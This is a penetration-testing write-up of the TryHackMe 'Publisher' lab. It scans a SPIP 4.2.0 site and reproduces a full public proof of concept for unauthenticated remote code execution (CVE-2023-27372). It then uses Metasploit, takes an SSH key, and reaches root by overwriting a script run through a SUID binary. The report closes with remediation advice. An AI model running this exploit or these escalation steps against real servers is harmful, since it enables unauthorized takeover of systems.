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Penetration Testing Report 
 

Publisher Room - TryHackMe 
 

Executive Summary 

This report documents the penetration testing of the Publisher room on TryHackMe. The objective was to 

enumerate and exploit vulnerabilities to achieve complete ownership of the target machine. The assessment 

uncovered several security weaknesses, culminating in successful privilege escalation and root access. 

 

Target Information 

• Attacker IP: 10.9.2.42 
• Host: 10.10.81.84 ( publisher.thm ) 

 

Testing Methodology 

1. Information Gathering 
2. Vulnerability Analysis 
3. Exploitation 
4. Post-Exploitation 
5. Privilege Escalation 

 

Detailed Findings 

1. Information Gathering 
Nmap Scan Results 

Command: 

sudo nmap -sV -A -O -T4 -sC –p- 10.10.81.84 

Date: July 24, 2024 
DRN: ECPPT0001 
Prepared By: Siddique Reza Khan 
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Output: 

PORT   STATE SERVICE VERSION 

22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.10 (Ubuntu Linux; protocol 2.0) 

80/tcp open  http    Apache httpd 2.4.41 ((Ubuntu)) 

 

2. Vulnerability Analysis 
Service Enumeration 

• Port 80 (HTTP): 
o Website running Apache 2.4.41. 
o Default webpage: Publisher's Pulse: SPIP Insights & Tips. 
o No significant information from the page source or accessible links. 

3. Exploitation 
Directory Bruteforce with Gobuster / DirBuster 

Wordlist: 

/usr/share/seclists/SecLists-master/Discovery/Web-Content/big.txt 
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or 

/usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt  

Dirbuster Scan Results 
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Gobuster Scan Results 

Command:  

gobuster dir -u http://10.10.81.84 -w /usr/share/seclists/SecLists-

master/Discovery/Web-Content/big.txt -o publisher_80.txt -t 100 

Output: 

/.htpasswd            (Status: 403) 

/.htaccess            (Status: 403) 

/images               (Status: 301) 

/server-status        (Status: 403) 

/spip                 (Status: 301) 

 

 

 

SPIP Version and Vulnerability 

• SPIP Version: 4.2.0 (revealed in page source meta tag : http://10.10.81.84/spip/local/config.txt ). 
• Vulnerability: Remote Code Execution (Unauthenticated) - CVE-2023-27372: https://www.exploit-

db.com/exploits/51536 . 

Exploit: 

python 

 

#!/usr/bin/env python3 

# -*- coding: utf-8 -*- 

 

# Exploit Title: SPIP v4.2.1 - Remote Code Execution (Unauthenticated) 

# Google Dork: inurl:"/spip.php?page=login" 

# Date: 19/06/2023 

# Exploit Author: nuts7 (https://github.com/nuts7/CVE-2023-27372) 

# Vendor Homepage: https://www.spip.net/ 

# Software Link: https://files.spip.net/spip/archives/ 

# Version: < 4.2.1 (Except few fixed versions indicated in the description) 

# Tested on: Ubuntu 20.04.3 LTS, SPIP 4.0.0 

# CVE reference : CVE-2023-27372 (coiffeur) 

# CVSS : 9.8 (Critical) 

# 
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# Vulnerability Description: 

# 

# SPIP before 4.2.1 allows Remote Code Execution via form values in the public area 

because serialization is mishandled. Branches 3.2, 4.0, 4.1 and 4.2 are concerned. The 

fixed versions are 3.2.18, 4.0.10, 4.1.8, and 4.2.1. 

# This PoC exploits a PHP code injection in SPIP. The vulnerability exists in the 

`oubli` parameter and allows an unauthenticated user to execute arbitrary commands with 

web user privileges. 

# 

# Usage: python3 CVE-2023-27372.py http://example.com 

 

import argparse 

import bs4 

import html 

import requests 

 

def parseArgs(): 

    parser = argparse.ArgumentParser(description="Poc of CVE-2023-27372 SPIP < 4.2.1 - 

Remote Code Execution by nuts7") 

    parser.add_argument("-u", "--url", default=None, required=True, help="SPIP 

application base URL") 

    parser.add_argument("-c", "--command", default=None, required=True, help="Command 

to execute") 

    parser.add_argument("-v", "--verbose", default=False, action="store_true", 

help="Verbose mode. (default: False)") 

    return parser.parse_args() 

 

def get_anticsrf(url): 

    r = requests.get('%s/spip.php?page=spip_pass' % url, timeout=10) 

    soup = bs4.BeautifulSoup(r.text, 'html.parser') 

    csrf_input = soup.find('input', {'name': 'formulaire_action_args'}) 

    if csrf_input: 

        csrf_value = csrf_input['value'] 

        if options.verbose: 

            print("[+] Anti-CSRF token found : %s" % csrf_value) 

        return csrf_value 

    else: 

        print("[-] Unable to find Anti-CSRF token") 

        return -1 

 

def send_payload(url, payload): 

    data = { 

        "page": "spip_pass", 

        "formulaire_action": "oubli", 

        "formulaire_action_args": csrf, 

        "oubli": payload 

    } 

    r = requests.post('%s/spip.php?page=spip_pass' % url, data=data) 

    if options.verbose: 

        print("[+] Execute this payload : %s" % payload) 

    return 0 

 

if __name__ == '__main__': 

    options = parseArgs() 

 

    requests.packages.urllib3.disable_warnings() 

    requests.packages.urllib3.util.ssl_.DEFAULT_CIPHERS += ':HIGH:!DH:!aNULL' 
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    try: 

        requests.packages.urllib3.contrib.pyopenssl.util.ssl_.DEFAULT_CIPHERS += 

':HIGH:!DH:!aNULL' 

    except AttributeError: 

        pass 

 

    csrf = get_anticsrf(url=options.url) 

    send_payload(url=options.url, payload="s:%s:\"<?php system('%s'); ?>\";" % (20 + 

len(options.command), options.command)) 

             

Exploit with Metasploit 

To exploit a remote code execution (RCE) vulnerability in SPIP v4.2.0 and obtain sensitive information 

from the target machine. 

Tools Used: 

• Metasploit Framework 

• Exploit script for SPIP v4.2.0 (SPIP Remote Code Execution) 

Commands: 

Bash 

 

searchsploit SPIP v4.2.0 - Remote Code Execution 

 
 

msfconsole –q 

search SPIP 

use exploit/unix/webapp/spip_rce_form 

set uripath /spip.php?page=login  

set targeturi http://10.10.81.84/spip  

set lhost 10.9.2.42  

set rhosts 10.10.81.84 

 

exploit 
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Result: Command executed and confirmed remote code execution. 
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Discover What is the user flag? 

Commands: 

/bin/sh -i 

ls –la 

cd /home 

cd think 

ls –la 

cat user.txt 

 

 

 

 

Result: Successfully retrieved SSH private key for user think. 
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4. Post-Exploitation 
SSH Access 

Commands: 

touch id_rsa 

chmod 600 id_rsa 

ssh -i id_rsa think@10.10.81.84 

 

 

Result: Successfully logged in as user think. 

Enumeration 

Commands: 

uname -a 

id 

ifconfig 

netstat -tulnp 

ps aux 

Results: 

• OS: Ubuntu Linux 
• User: think 

https://tsolglobal.com/
mailto:info@tsolglobal.como
mailto:tsol.global365@gmail.com


 
 

 
Website: https://tsolglobal.com 
email: info@tsolglobal.com, tsol.global365@gmail.com 
Contact: +447305478249  
Edinburgh, United Kingdom 

• Kernel: Various details about running processes and services. 

5. Privilege Escalation 
SUID Binary Exploitation 

Finding SUID Binaries: 

find / -type f -user root -perm /4000 2>/dev/null 

strings /usr/sbin/run_container 

 

 

Analysis: Identified unusual SUID binary and script in /opt/run_container.sh. 

Discover What is the root flag? 

Exploitation: 

ls -l /opt/run_container.sh 

echo -e '#! /bin/bash\n/bin/bash -ip' > /opt/run_container.sh 
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cat /opt/run_container.sh 

/opt/run_container 

/usr/sbin/run_container 

 

 

 

Result: Obtained root shell. 

 

Flags 

• User Flag: xxxxxx 
• Root Flag: xxxxxx 

 

Recommendations 

1. Update and Patch Vulnerable Software: 
o Ensure the SPIP application is updated to the latest version to mitigate known vulnerabilities. 

2. Secure Configuration: 
o Restrict access to sensitive directories and files such as .htaccess and .htpasswd. 
o Implement proper access controls to prevent unauthorized users from modifying critical scripts 

and binaries. 
3. Network Security: 

o Limit exposure of services like SSH to the internal network or trusted IP addresses. 
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o Implement proper firewall rules to minimize the attack surface. 
4. Monitoring and Incident Response: 

o Set up monitoring to detect and alert on unusual activities such as unauthorized file 
modifications. 

o Conduct regular security assessments and audits to identify and mitigate potential 
vulnerabilities. 

 

Conclusion 

The assessment of the Publisher room on TryHackMe highlighted significant security flaws that allowed for 

remote code execution, access to sensitive credentials, and privilege escalation. By addressing the identified 

issues, the security posture of the system can be significantly improved. 
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